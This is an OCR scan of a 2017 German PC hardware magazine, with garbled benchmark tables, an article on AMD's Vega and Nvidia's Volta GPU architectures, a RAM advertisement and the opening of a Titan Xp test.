C3: 50/31/15 ТЕ5:122/88/50 


F1: 56/45/25 
F04: 68/45/22 
FCP: 43/31/17 
GTA: 34/2417 


* 3.584 MiB (224 Bit) 
+ 512 MiB (32 Bit) 


MEC:31/23/11 
OW: 90/60/31 
ROT: 33/22/13 
TTP: 43/34/21 


TWW: 38/25/11 
ECR: 43/26/12 
W3: 54/37/19 
СОР: 28,5 


° 


ss ° 
Ір 
E :?, % 
AOS:25/19/08 ` Out 58/35/17 
ACS: 36/249 DMD: 53/35/17 
BI: 98/61/30 DM: 128/79/38 
C3: 45/28/13 ТЕ5:107/78/45 


Е1: 57/47/29 

РО4: 58/37/17 
РСР: 41/32/20 
GTA: 31/22/11 


МЕС: 28/20/12 
0W: 90/60/31 
ROT: 38/27/15 
ТТР: 42/33/21 


TWW: 30/20/7 
ECR: 40/25/12 
W3: 53/36/19 
СОР: 39,3 


Spiele-/Anwendungsnamen: Ashes o 


System: Core i7-6800K @ 4,4 GHz Ee 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64; anisotroper Texturfilter konsequent auf „Hohe Qualität“ (HQ-AF); Vsync aus 

the Singularity (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Mankind Divided (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 
Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer (TWW), The Elder Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECH), The Witcher 3 (W3), Capture One Pro (COP). Angabe auf die nächste Ganzzahl gerundeter Fps, außer COP (Megapixel/s). Wichtig: Die Anwendungsleistung fließt (nur) in den blauen Gesamt-Index ein. 
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Grafikmonster für Profis 


Auf Hausveranstaltungen gaben Nvidia und AMD 
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RADEON РКО VEGA SSG 
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HW Accelerated Data Transfer Between 


2 TB On Board SSG NVME (av 16GB High Bandwidth Cache (HBC) 


Bild: AMD 


Auch eine SSG-Variante mit direkt angebundenem Flash-Speicher wird im Vega- 
Programm sein. Hier agiert der HBM als rasend schneller Cache für die 2-TByte-SSD. 


w Radeon Vega Frontier Edition 


ШШ mr: 


в Radeon Fury X 
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es 
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Bild: AMD 


Gegenüber dem 2015er-High-End-Chip Fiji legt Vega in allen dargestellten Bereichen 
deutlich zu: Die Faktoren 1,5x, 3x und 4x sprechen für sich. Es fehlt allerdings die 
Speichertransferrate, denn hier schafft Vega nur Faktor 0,94. 
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Ausblicke auf ihre kommenden Chipgenerationen. 


lles neu macht der Mai - das 

galt in diesem Jahr wieder ein- 
mal für die Grafikchips von Nvidia 
und AMD. Beide präsentierten die 
kommenden Generationen - Volta 
respektive Vega - auf hauseigenen 
Veranstaltungen: Nvidia am 10. 
Mai auf der GPU Technology Con- 
ference (GTC) und AMD am 16. 
Mai auf dem Financial Analyst Day 
(FAD). Wir werfen einen Blick auf 
die beiden Grafikmonster und sa- 
gen Ihnen, worauf sich Spieler freu- 
en können und worauf sie achten 
müssen. 


AMDs Vega: Bekanntes ... 
Beginnen wollen wir mit Vega. AMD 
hat bereits im Dezember 2016 Aus- 
blicke auf die Architektur des neuen 
GPU-Flaggschiffes gewährt, dabei 
aber noch vieles im Unklaren gelas- 
sen. PCGH berichtete in Ausgabe 
02/2017 darüber. 


Bisher bekannt war vor allem, dass 
Vega wie sein High-End-Vorgänger 
Fiji auf High Bandwidth Memory 
setzt, jedoch in der schnelleren und 
mit mehr Speicherplatz verfügba- 
ren, zweiten Generation. Auf der 
Dezember-Vorstellung wurde eine 
mit zwei HBM-gen2-Stapeln ausge- 
stattete 8-GiByte-Version gezeigt. Im 
selben Atemzuge wurden der „High 
Bandwidth Cache Controller“ sowie 
die Neuorganisation der Rasterend- 
stufen (ROPs) beworben, sodass 
Vega besonders schnell auf Daten 
aus dem Hauptspeicher zugreifen 
kann. In Spielen soll dies bei Spei- 
cherknappheit geringere Einbrü- 
che in den Fps-Raten bewirken und 
verschiedene, von AMD gezeigte 
Demos, bei denen Vega mit künst- 
lich verknapptem Speicher deutlich 
vom HBCC profitieren konnte, un- 
termauerten dies. 


Eine neue Geometrie-Verarbeitung 
soll einen verdoppelten Durchsatz 
pro Takt erlauben und dank einer 
neuen ShaderStufe für geomet- 
rische Grundformen  (,Primitive 


Shader“) wesentlich effizienter als 
in früheren Chips arbeiten. Zusam- 
men mit dem ebenfalls verbesserten 
Load Balancing, also der Lastvertei- 
lung auf die einzelnen übergeord- 
neten Rechenblócke („Shader-Engi- 
nes^) und der Neuorganisation der 
ROPs, die nun in beide Richtungen 
direkt an den Level-2-Cache ange- 
bunden sind, lässt das den Schluss 
zu, dass Dreiecke und Pixel nicht 
mehr in der Shader-Engine verblei- 
ben müssen, der sie ursprünglich 
zugeordnet waren, sondern dass 
es eine Kommunikation unterein- 
ander gibt. So lassen sich Überbe- 
lastungen und damit Flaschenhälse 
vermeiden. Laut AMD soll die ver- 
besserte Geometrieleistung auch 
ohne spezielle Eingriffe oder Opti- 
mierungen seitens der Spielepro- 
grammierer greifen, verständlicher- 
weise allerdings eher in Szenen mit 
hoher Geometrie-Last in den Vor- 
dergrund rücken. 


Der „Draw Stream Binning Rasteri- 
zer“ nutzt einen Zwischenspeicher 
auf dem Chip, um in einzelnen Bild- 
kacheln eine vorgezogene Tiefen- 
prüfung durchzuführen. Dreiecke 
und Pixel, die im Bild verdeckt und 
daher gar nicht sichtbar sind, kön- 
nen so früher verworfen werden, 
was elektrische und Rechenleistung 
spart. 


Zu guter Letzt hat AMD auch die 
einzelnen Shader-ALUs überarbei- 
tet und nennt sie nun „NCU“ - Next 
Generation Compute Units. Der 
grundlegende CU-Aufbau mit vier 
SIMDI16, einer Skalar- und einer 
Quad-Textureinheit bleibt gleich. 
Allerdings beherrschen die neuen 
Rechenwerke nun verschiedene 
Prázisionsstufen nicht nur, um Re- 
gisterplatz zu sparen, wie es die vor- 
hergehenden GPUs Tonga, Fiji und 
Polaris durch die Kombination von 
zwei FP16-Registern in einem FP32- 
Speicherplatz konnten. Vega kann 
nun auch die Berechnungen selbst 
zusammenlegen und in einem FP32- 
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Rechenwerk gleichzeitig zwei FP16- 
oder vier INT8-Operationen pro Takt 
durchführen. Speziell FP16-Operationen 
könnten sich auch im Spielebereich als 
gute Option auf eine deutliche Leistungs- 
steigerung entpuppen, nutzen doch die 
Upgrade-Versionen der Xbox One und 
Playstation 4 ebenfalls Radeon-Kerne, die 
dies beherrschen. 


. und Neues! 
Die kommenden Radeon-Modelle wer- 
den in drei Produktreihen aufgeteilt sein: 
RX, Pro und Instinct. In der „RX“-Reihe 
wird die Radeon RX Vega kaufkräftige 
Spieler bedienen. Als „Radeon Pro Vega“ 
werden sogenannte „Content Creators", 
also etwa Designer oder Filmproduzen- 
ten, als Zielgruppe ins Auge gefasst. Mit 
Radeon Instinct werden die Karten für 
das Feld künstlicher Intelligenz zusam- 
mengefasst. Den Anfang macht die „Ra- 
deon Vega Frontier Edition", die eine 
Mischung aus den obigen Bereichen 
ansprechen soll - ähnlich Nvidias Titan 
Xp, welche aufgrund ihres Preises auch 
eher auf sogenannte Prosumer abzielt. In 
der Präsentation hielt AMDs Grafik-Chef 
Raja Koduri ein Engineering Sample in 
die Kameras, welches weitgehend dem 
finalen, per DHE-Radiallüfter gekühlten 
Design (blaue Variante im Aufmacher- 
bild links) entsprach, allerdings noch 
über je einen 6- und einen 8-poligen 
Stromanschluss anstelle der endgültigen 


2x8-Pol-Anschlüsse verfügte. 


In der für den KI-Servermarkt gedach- 
ten und schon 2016 angekündigten Ra- 
deon Instinct MI25 deutete es sich an, 
doch nun ist es gewiss: AMD gibt die Re- 
chenleistung der mit 4.096 Shader-ALUs 
(aufgeteilt in 64 Compute Units à 64 Re- 
chenwerke) ausgestatteten Radeon Vega 
Frontier Edition mit rund 13 TFLOPS für 
standardmäßige FP32-Operationen und 
entsprechend die doppelte Anzahl von 
FP16-FLOPs an. Damit wäre die Radeon 
Vega FE mindestens 50 Prozent rechen- 
stärker als die Radeon R9 Fury X (bei 
FP16-Operationen gar 3x so schnell). Die 
Angaben deuten auf einen Takt von rund 
1,6 GHz und bestätigen damit einen Leak 
in der Datenbank des Compubench. 


Die von AMD zugleich publizierte Pixel- 
Füllrate von rund 90 MPix/Sek. aller- 
dings lässt bei 64 ROPs auf nur etwa 1,4 
GHz schließen. Möglich ist, dass eine 
Angabe mit Turbo-, die andere mit Basis- 
Takt errechnet wurde. Denkbar wären 
auch verschiedene Taktstufen für Sha- 
der und GPU-Core oder „nur“ 56 aktive 
ROPs. AMD wollte sich dazu auch auf 
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Nachfrage nicht weiter äußern. 
Die Befürchtung, Vega könne 
generell auf die im Dezember ge- 
zeigte 8-GiByte-Variante limitiert 
sein, bestätigte sich indes nicht: 
Die auf dem FAD gezeigte „Rade- 
on Vega Frontier Edition“ nutzte 
16 GiByte HBM-gen2-Speicher. 
Die damit nach AMD-Angaben 
erreichte Transferrate von 480 
GByte/s lässt eigentlich nur den 


Schluss zu, dass zwei HBM-gen2- 
Stapel mit je acht Dies zum Einsatz 
kommen, denn für vier Chips ist 
die Transferrate eindeutig zu ge- 
ring. Die HBM-gen2-Chips finden 
sich derzeit allerdings nicht in 
den Produktkatalogen der beiden 
HBM-gen-2-Produzenten Samsung 
und SK Hynix. Bei Letzterem sind 
4-Hi-Stacks, also 4 GiByte große 
Stapel, mit maximal 800 MHz der- 
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zeit bestellbar. Gut móglich, dass 
AMD die ersten Chargen von SK 
Hynix komplett abnimmt, denn 
immerhin hat man mit diesem 
Speicherhersteller schon bei HBM 
genl eng, wenn nicht gar exklusiv 
zusammengearbeitet. 


Dass es sich tatsáchlich um zwei 
Stapel handelt, bestátigte der Lei- 
ter von AMDs Grafiksparte, Raja 
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Koduri, spàter im Rahmen einer 
Frage-und-Antwort-Runde auf der 
US-Plattform reddit.com. Ergo dürf- 
te der Vega-Speicher mit rund 940 
MHz takten - der HBM auf Fiji lief 
hingegen nur mit 500 MHz, war da- 
für aber doppelt so breit angebun- 
den. Daher kommt die Vega FE auf 
eine gut 6 Prozent geringere Brutto- 
Transferrate. AMD betont in diesem 
Zusammenhang, dass Vega mehr 
Netto vom Brutto, also eine höhe- 
re Transferraten-Effizienz erzielen 
wird als noch Fiji. Eine verbesserte, 
verlustlose Farbkompression etwa 
gab es schon beim Vega-Vorgänger 
Polaris und auch die Neuorganisati- 


on des Speichersubsystems inklusi- 
ve der ROPs als direkte L2-Klienten 
dürfte speziell bei speicherintensi- 
ven Anwendungen wie etwa beim 
„deferred shading“ helfen. Hinzu 
kommt, dass der beinahe doppelt 
so hohe HBM-Takt auch die Latenz 
von Operationen verbessert, die 
von den ROPs gut zusammengefasst 
werden kónnen. 


In Sachen Leistungsaufnahme be- 
wegt sich Vega im üblichen Rah- 
men für High-End-Chips. Eine TDP 
von 300 Watt erscheint daher re- 
alistisch, auch wenn Vega in der 
Frontier Edition mit zwei Achtpol- 


SpecViewperf 12.1 (higher is better) 


Catia? 
PTC Creo* 


Solidworks“ 


Bild: AMD 


In diesen drei Werten aus dem SPEC-Viewperf-Benchmarks 12.1 steht die Radeon 
Vega FE verglichen mit der Titan Xp mit einem Vorsprung von 26,5 bis 69,6 % gut da. 


Intel KNL7250 


NVidia M40 


NVidia P100 


200 


Bild: AMD 


MEASURING PERFORMANCE 


3131138 SI 403401 


300 


Time (ms) to Complete DeepBench 


Zunáchst zeigte AMD die Performance von Nvidias Tesla P100 im Vergleich mit Max- 
well (M40) und Intels zweitschnellstem Xeon Phi, dem Modell 7520, um dann ... 


MEASURING PERFORMANCE 


133 


LOWER IS BETTER 


NVIDIA P100 


Bild: AMD 


88 


Vega 


Time (ms) to Complete DeepBench 


... mit dem um ein Drittel schnelleren Vega-Wert noch einen draufzulegen. Allerdings 
war die Tesla P100 hier langsamer als noch im vorigen Benchmark-Diagramm. 
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Anschlüssen ausgestattet wird. Laut 
Koduri sei das Muster, welches er im 
FAD-Livestream in die Kameras ge- 
halten hatte, ein Engineering Board, 
welches problemlos mit einem 6- 
und einem 8-Pol-Anschluss laufe. 
Ob das nun für alle Vega-Boards, 
Stichworte Leakage und Chip-Vari- 
anz, gilt, lässt diese Formulierung 
offen. Man habe sich, so Koduri, für 
zwei 8-Pol-Buchsen entschieden, 
um den Nutzern der Frontier Editi- 
on zusätzlichen Spielraum zu bieten 
- ob Prosumer allerdings klassische 
Overclocker sind? 


Neben der luft- soll es auch eine 
flüssiggekühlte Edition 
geben. Diese werde einen leichten 
Vorteil in Sachen Taktrate haben, 
sagte AMD. Zu genaueren Zahlen 


Frontier 


ließ man sich allerdings nicht hin- 
reißen, lediglich, dass auch auf- 
grund der thermischen Vorteile der 
flüssiggekühlten Version ein wenig 
mehr Spielraum in einigen Situatio- 
nen vorhanden sei. Die luftgekühlte 
Karte dürfte also in sehr anspruchs- 
vollen Szenarien nicht immer in der 


Lage sein, ihren maximalen Boost- 
Takt durchzuhalten. 


Im Rahmen der Präsentation wie 
auch auf den Vega-Websites wie 
etwa unter http://pro.radeon.com/ 
en-us/vega-frontier-edition/ gibt 
AMD auch erste konkrete Perfor- 
mance-Werte der Vega Frontier 
Edition an. Neben den unstrittigen 
Vergleichen zur Vorgänger-GPU 
Fiji werden auch Teilresultate des 
CAD-Benchmarks SPEC Viewperf 
12.1 sowie von Baidus DeepBench 
aus dem Bereich Machine Intellli- 
gence/Deep Learning gezeigt. In 
Ersterem stellt AMD die Vega FE 
gegen Nvidias brandneue Titan Xp 
(s. Seite 26) und gibt Werte für drei 
der neun Tests an: CATIA, Creo und 
Solidworks. Gegenüber der Nvidia- 
Karte erreicht die Vega FE hier zwi- 
schen guten 26,5 und gewaltigen 
69,6 Prozent Vorsprung. Allerdings 
sind die Viewperf-Werte nicht unbe- 
dingt repräsentativ für die Chipleis- 
tung, sondern eher für den Grad der 
Software-Optimierung. Zum  Ver- 
gleich: die GP104-basierende Qua- 
dro P5000 mit ihrem optimierten 
Treiber kann hier Werte erreichen, 
welche deutlich über den von AMD 
für die Vega angegebenen liegen. 
Wie viel die ebenfalls spezialisier- 


teren Radeon-Pro-Treiber hier zu- 
sátzlich herausholen kónnen, bleibt 
aktuell ebenso offen wie das wahre 
Kráfteverháltnis zwischen den zu- 
grunde liegenden GPUs. 

Als zweiten Leistungsindikator 
führt AMD den Deep-Learning- 
Benchmark Deepbench des chinesi- 
schen Suchmaschinenmarktführers 
Baidu an. Hier konzentriert man 
sich offenbar auf den besonders 
rechenaufwendigen rein auf FP32- 
Operationen basierenden Teil des 
Convolution Layer für Musterer- 
kennung (Text, Sprache, Gesichter 
und Bildinhalte) und addiert die 
einzelnen Laufzeiten („Total Time“), 
wobei im Falle der Nvidia M40 wohl 
ein Fehler unterlaufen ist: Die zum 
KNL7250 vergleichbare Zeit liegt 
bei 226 ms, nicht 288 ms - auf die 
kommt man nur, wenn die Forward- 
Zeiten mit eingerechnet würden. 


Laut den von AMD angefertigten 
Benchmarks (M40 und KNL7250 
sind von der Baidu-Seite übernom- 
men) ist Vega knapp 34 Prozent 
flotter mit dem zeitbasierten Bench- 
mark fertig als Nvidias Tesla P100 
- oder 28 Prozent, nimmt man den 
ersten Wert, welcher von AMD mit 
einem flotteren Prozessor ermittelt 
wurde. Eine während des FAD-Live- 
Streams gezeigte Folie fächert die 
Resultate überdies auf: Der Vega- 
Vorsprung wird in den Matrizen 
mit 5x10 sowie 3x3 erzeugt, die 
auch den Großteil der Gesamtlauf- 
zeit stellen. Dennoch: Dafür, dass 


die Gerüchteküche Vega zwischen 
Geforce GTX 1080 und 1080 Ti ver- 
ortete, sehen diese Werte beeindru- 
ckend flott aus. 


Wie die Radeon Vega RX final aus- 
sehen wird, war bis Redaktions- 
schluss unbekannt. Lediglich, dass 
die Treiber natürlich weiter auf 
Spieleleistung getunt werden sollen 
und dass man auch noch ein paar 
Überraschungen in petto haben 
werde. Während der angesproche- 
nen reddit-Fragerunde bestätigte 
Koduri allerdings, dass „Flavors of 
RX Vega“, also bestimmte Model- 
le, sogar schneller als die Frontier 
Edition werden sollen. Die FE soll 
ab der zweiten Junihälfte zu einem 
noch nicht genannten Preis in den 
Handel kommen, die restlichen Ve- 
ga-Modelle inklusive RX für Spieler 
„bald ... in den nächsten Monaten“. 
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Nvidia zeigt Volta GV100 


ünktlich zur GPU Technology 

Conference zeigte Nvidia-Chef 
Huang das Flaggschiff von Nvidias 
kommender GPU-Generation Vol- 
ta. Die GPU besitzt 5.376 Shader- 
ALUs, zwei Rechenkerne, erstmals 
speziell für KI-Anwendungen, und 
besinnt sich teils auf Altbewährtes 
zurück. Die ersten Beschleuniger 
sollen zunächst als Tesla V100 nur 
im Achterpack im Rahmen des 
DGX-1-Systems im dritten Quartal 
2017 erscheinen. Ende 2017 gibt 
es Viererpacks in der DGX-Station 
und erst danach wohl einzelne Tes- 
la-V100-Modelle. Wann und ob es 
überhaupt Grafikkarten für Spieler 
mit dem GV100 geben wird, ist of- 
fen. Da die grundlegende Architek- 
tur aber auch in kommenden Ge- 
force-Karten zu finden sein dürfte, 
werfen wir an dieser Stelle einen 
genaueren Blick auf Nvidias Volta. 


Ein Riesending 

Der Chip mutet mit 815 mm? ge- 
radezu monstrós an und ist damit 
gut ein Drittel grófser als die Vor- 
gänger GP100 oder GM200 mit je- 
weils knapp über 600 mm?. Damit 
geht Nvidia nicht nur laut eigener 
Aussage an die Grenzen moderner 
Belichtungstechnik in der Ferti- 
gung und packt so viele Transis- 
toren wie nie zuvor auf den Chip: 


21,1 Milliarden Schaltungen be- 
herbergt der GV100 und wird wie 
üblich bei TSMC gefertigt. Nicht 
üblich hingegen ist bislang der Fer- 
tigungsprozess: 12 nm beträgt die 
Strukturbreite des „FFN“-Prozesses, 
der nach firmeneigener Darstel- 
lung speziell für Nvidia optimiert 
ist. Die Packdichte, also die Anzahl 
der Transistoren pro Quadratmil- 
limeter, steigt gegenüber dem in 
16-nm-FinFET+-Technik gefertigten 
GP100 allerdings nur geringfügig 
von 25,08 auf 25,89 Mio./mm? an. 
Nach wie vor sechs Blöcke, von 
Nvidia Graphics Processing Clus- 
ter СРС“) genannt, bilden die 
übergeordnete Organisationsform 
des GV100. In jedem GPC sind 14 
Shader-Multiprozessoren („SM“) 
vorhanden, sodass der gesamte 
Chip auf 84 SMs kommt. In der 
Tesla V100 werden davon zur Er- 
höhung der Produktionsausbeute 
jedoch nur 80 aktiv sein - ähnlich 
wie beim GP100, bei dem 56 von 
60 SMs arbeiten. Den Aufbau und 
die Neuerungen der einzelnen SMs 
beleuchten wir im unten stehen- 
den Kasten genauer. 


Jeweils zwei der insgesamt 84 auf 
der GPU vorhandenen Shader-Mul- 
tiprozessoren fasst Nvidia zu einem 
Thread Processing Cluster (‚TPC“) 


Bild: Nvidia 
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Das Blockdiagramm des Flaggschiffs GV100 enthüllt 6 GPCs à 14 SMs — ingesamt 
also 84 Shader-Multiprozessoren mit 5.376 ALUs bei einer Chipgröße von 815 mm?. 


Shader-Multiprozessoren der Volta-Generation 


Wieder einmal strickt Nvidia am inneren Aufbau der SMs und passt diese an die Erwartungen an, 
die nach Nvidias Analyse dem Marktbedarf am nächsten kommt. Größte Neuerung: Tensor Cores. 


Dispaleh Unit (32 threadiem) Dispatch Unit (32 dead) 


Rogister File (16,384 x 32-bit) Register File (16,384 x 32-à) 


Im GP100 nutzen noch je 32 FP32- und 16 FP64-ALUs Teile des SM-internen Front-Ends (Instruction Buffer, Warp 
Scheduler) gemeinsam — auch wenn sie dort schon deutlicher unterteilt waren, als es Nvidias GP100-Blockdi- 
agramm (links) im Vergleich zum GV100-Aufbau (rechts) suggeriert. Die Hälfte der Register (je 16.384) etwa 


oder die Dispatcher waren bereits 

fest einzelnen Ausführungsgruppen 
zugeordnet. Bei Volta kommen zusátzlich 
noch parallel nutzbare INT32-ALUs und 
die doppelte Anzahl an Load-/Store-Ein- 
heiten hinzu. Die Latenz für voneinander 
abhángige FMA-Operationen wurdevon 
sechs auf vier Takte verkürzt. Die 
Tensor-Cores sind stark spezialisierte 
Rechenwerke, welche in ihrem Spezialge- 
biet, beim KI-Training, enorme Leistung 
bringen können. Ob sie auch abseits 
dessen im Spielebereich nutzbar und 

in kleineren Volta-Ablegern überhaupt 
vorhanden sind, muss die Zeit zeigen. 
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Dispatch Unit (32 threadiciu) Dispatch Una (32 Фес) 


Rogister File (16,384 x 32-bit) 


Register File (16,384 x 32-à) 
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zusammen, einer Unterteilung, 
die auf den kleineren Chips bis- 
her nicht getroffen wurde - beim 


GP104 galt: SM = TPC. 


In Sachen Rohleistung holt Nvidia 
entsprechend der Anzahl der Re- 
chenwerke neue Rekordwerte aus 
dem Chip. 14,9 TFLOPS FP32-Re- 
chenleistung im teildeaktivierten 
GV100 sind schon eine Hausnum- 
mer. Hier müsste AMD Vega noch 
auf über 1,82 GHz prügeln, um mit- 
zuhalten, eine Titan Xp müsste mit 
1,94 GHz arbeiten - vorausgesetzt, 
die Architekturen schafften alle 
gleich viel pro Takt. Nvidia selbst 
gibt an, eine zwischen 45 (DGEMM) 
und rund 75 Prozent (FFT) höhere 
Performance als beim GP100 zu 
erreichen - im Schnitt sollen es im 
HPC-Bereich +50 % sein. Erstaunli- 
cher ist, dass auch der GV 100-Mons- 
terchip die von Pascal gewohnten, 
hohen Boost-Takte noch Knapp mit- 
macht - Nvidia gibt hier 1.455 MHz 
(GP100: 1.480 MHz) an. Allerdings 
fehlt dieses Mal eine Angabe für 
den Basistakt, was möglicherweise 
doch auf Kompromisse schließen 
lässt, da sich das Konstrukt noch 
im 300-Watt-Rahmen bewegen soll. 
Laut Nvidia sollen die Volta-SMs 50 
Prozent mehr Leistung pro Watt er- 


Transferrate von 300 GB/s für die 
Kommunikation mit anderen GPUs 
sowie dem HostSystem bieten. 
Auch wenn nicht primär dafür ge- 
dacht, spräche aus unserer Sicht 
nichts dagegen, auch zwei entspre- 
chend ausgestattete Geforce-Kar- 
ten über diese Verbindung im SLI- 
Betrieb kommunizieren zu lassen. 
Die GP100-basierte Quadro P100 
etwa verfügt schon über zwei NV- 
Link-Anschlüsse. 


Programmatisches 

Spieler wünschen sich zwar, dass 
alles out-of-the-box gut läuft und 
wollen maximal einen neuen 
Treiber installieren. In der Praxis 
jedoch, speziell im High-Perfor- 
mance- sowie Data-Center-Bereich, 
ist die Sachlage weit schwieriger. 
Viele verschiedene Algorithmen 
müssen nach Möglichkeit nahezu 
optimal laufen und so wird häufig 
auf bestimmte Architekturmerk- 
male optimiert. Hier bietet Volta 
mit einem einheitlichen, pro SM 
128 KiByte großen L1-Cache eine 
Befreiung von den Zwängen frühe- 
rer Tage. Laut Nvidia-Benchmarks 
erreicht der generische L1-Cache 


93 Prozent der Leistung von spezi- 
ell auf eine Shared-Memory-Größe 
(von 48 KiByte pro Thread-Block) 
optimiertem Programmcode. Ers- 
te Spieleentwickler haben sich 
bereits positiv darüber geäußert 
und sehen speziell bei Compute- 
Shadern neue und einfachere Mög- 
lichkeiten. Der L1-Cache darf im 
Gegensatz zum Shared Memory 
auch ,überfüllt^ werden, was dann 
durch das restliche Speichersystem 
abgefedert wird. 


Ebenfalls neu bei Volta ist das ,in- 
dependent thread scheduling“, bei 
dem für jeden Thread einzeln der 
Status verfolgt wird - vor Volta war 
dies lediglich für Gruppen von 32 
Threads (im Nvidia-Jargon „Warps“ 
genannt) möglich. Das bringt 
Vorteile etwa bei dynamischen 
Verzweigungen, die nun flexibler 
ausgeführt und schneller beendet 
werden können und auch weniger 
anfällig für gegenseitige Blockaden 
einzelner Threads sind. Das tritt 
speziell bei Anwendungen auf, die 
von mehreren Threads gespeist 
werden - und die Anzahl dieser 
gleichzeitigen Threads von Host- 


Seite steigt bei Volta von 32 auf 48 
ebenfalls an. 


Wann und was für Spieler? 
Gut ein Jahr ist es her, als wir in 
Ausgabe 06/2016 über Nvidias 
Pascal-P100-Vorstellung berichte- 
ten. Wenige Wochen (also ein Heft) 
später zauberte Nvidia für viele 
überraschend bereits den Gaming- 
Ableger GP104 aus dem Hut. Man 
sollte also niemals nie sagen. Je- 
doch kündigte SK Hynix vor der 
Volta-Vorstellung GDDR6-Speicher 
in Verbindung mit einer High-End- 
Karte für Anfang 2018 an - dabei 
könnte es sich um den GV102 als 
großen Gamer-Volta handeln. 


Nicht auszuschließen ist allerdings, 
GV104-basierte Karten 
schon früher gibt - sehr viel hängt 
sicherlich auch von dem Druck ab, 
den AMD mit der Vega-Architektur 
auf Nvidia ausüben kann. Bis dato 
besteht Volta noch rein aus dem 
GV100-Dickschiff und vom Pascal- 
Topmodell GP100 ist noch kein 
Geforce-Ableger erschienen - dies 
übernahm der mehr auf Spieler 
ausgerichtete GP102. (cs) 


dass es 


Spezifikationsvergleich: Nvidias Compute-Flaggschiffe im Tesla-Bereich 


teichen als ibre Pascal Vorgänger Tesla Product Tesla M2090 Tesla K40 Tesla M40 Tesla P100 Tesla V100 

Der wie schon beim GP 100-18 Gi: GPU (Architektur) GF110 (Fermi) GK180 (Kepler) GM200 (Maxwell) GP 100 (Pascal) GV100 (Volta) 

Byte große HBM von Samsung ar- Chipgröße GPU 526 mm? 551 mm? 601 mm? 610 mm? 815 mm? 

beitet nach gen2-Spezifikation und Transistorzahl 3,0 Mrd. 7,1 Mrd. 8,0 Mrd. 15,3 Mrd. 21,1 Mrd. 

erreicht 900 GB/s und müsste - je Fertigungstechnik 40 nm 28 nm 16 nm FinFET+ 12 nm FFN 

nach Rundung - demnach mit 875 Shader-Multiprozessoren (SMs) 16 15 24 56 80 

bis 880 MHz arbeiten. Das ist pro Thread-Processing-Cluster (TPCs) 16 15 24 28 40 

Stapel rund 7 Prozent weniger als ЕАСИ = >= = = Br 

bei AMDs Vega FE, dafür verfügt FP32-ALUs pro Karte 510 2.880 3.072 3.584 5.120 

der GV100 jedoch über die дорре — POE ALUS pro5M : iu : : 2 

te Breite beim Speicher-Interface: КЕСА BEE) 208 20 - 2e ES SES 

4.096 statt 2.048 Bit. Nvidia selbst Tensor-Blöcke pro SM Nicht vorhanden 8 

spricht allerdings davon, dass Tensor-Blöcke pro GPU Nicht vorhanden 640 

durch Verbesserungen am Spei- GPU Basis-Takt 650 745 MHz 948 MHz 1.328 MHz Keine Angabe 

cher-Controller im Vergleich zum GPU Boost-Taktrate 1.300 MHz** 810/875 MHz 1.114 MHz 1.480 MHz 1.455 MHz 

GP100 50 Prozent mehr nutzbare FP32-Rechenleistung (Mrd./Sek.)* 1,33 5,04 6,80 10,60 15,00 

Transferrate generiert wird - mög- FP64-Rechenleistung (Mrd./Sek.)* 0,67 1,68 2,10 5,30 7,50 

lichierweise sind hier schon Effekte Tensor-Core-Rechenlstg. (Mrd./Sek.)* Nicht möglich 120 

des um 50 Prozent auf 768 KiByte Register-Speicher pro SM 128 KiByte 256 KiByte 

für jeden der acht Speicher-Con- Register pro FP32-ALU 1.024 341 512 1.024 

troller vergrößerten L2-Caches mit L1-Cache/Shared Memory pro SM 64 KiByte 64 KiByte (GK210: +64) 96 KiByte 64 KiByte 32 + 96 KiByte 

eingerechnet. Zum Vergleich: 768 Statische Partitionierungsopt. L1/SM 1:3/3: 1:3/1:1/3:1 (1:7, 2:6, 3:5) Nicht nötig 

KiByte betrug auch die Größe des Textureinheiten 64 240 192 224 320 

gesamten L2-Cache im Fermi-Flagg- Textur-Cache pro SM 12 KiByte 48 KiByte*** Teil des L1-Cache 

schiff GF100/110 - 128 KiByte pro  GrtóBe des L2-Cache (GPU) бх 128 KiByte 6x 256 KiByte 6x 512 KiByte |  8x512Kiyte | 8x 768 KiByte 

Memory-Controller. Speicherschnittstelle 6x 64 Bit GDDR5 8x 512 Bit HBM gen2 
Speichertransferrate 177 GByte/s 288 GByte/s 720 GByte/s 900 GByte/s 

Primär für den Einsatz in Rechen- | Speichergröße (Maximum) 6 GiByte 12 GiByte 24 GiByte 16 GiByte 

zentren wichtig sind die sechs NV- MEM 225 Watt 235 Watt 250 Watt 300 Watt 

Links, welche eine bidirektionale * Errechnet auf Basis des Boost-Taktes ** Bei Fermi: Basis-/Shader-Taktung *** Auch als Read-only-Data-Cache nutzbar 
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Qualität von Micron®: Zuverlässigkeit für Profi-Gamer. 

Ballistix ist die einzige Gaming-Marke, die als Teil eines der größten Speicherhersteller die 
Produkte von Beginn bis Fertigstellung baut und testet. Der Ballistix DRAM ist robust gebaut 
und liefert mehr Leistung als ein standardmäßiger PC-Speicher. Seit über 35 Jahren entwerfen 
wir Speicher: vom traditionellen DDR-Speicher bis hin zur Zukunft der Gaming-Leistung, den 
Ballistix DDR4-Modulen. Machen Sie sich bereit und steigern Sie die Leistung im Spiel mit 
Arbeitsspeichern von Ballistix auf das nächste Level - unterstützt durch wettbewerbsfähige 
Garantien, eine passionierte Fan-Community und ein eigenes Gamer-Support-Team. 


BUILT TO WIN 


http://www.hallistixgaming.de 


Nvidias Neulinge im Test 


Das Grafikkarten-Portfolio der Geforce-Macher ist um zwei Modelle reicher. Wir klàren im Test, ob die 


Titan Xp und die verbesserte Geforce GTX 1080 mit 11-Gbps-Speicher ihren Preis wert sind. 


eit Kurzem buhlen Nvidias 

Titan Xp und Geforce GTX 
1080-11Gbps um die Gunst an- 
spruchsvoller Spieler. Ob sich der 
Aufpreis gegenüber der GTX 1080 
Ti respektive „alten“ GTX 1080 
lohnt? Vorweg: Für diesen Test 
standen uns keine Nvidia-Referenz- 
designs mit Standardkühlung und 
-frequenzen zur Verfügung, wes- 
halb die Messungen der Leistungs- 
aufnahme und Lautheit ausfallen. 


Titan Xp 
Die Titan Xp bringt erstmals einen 
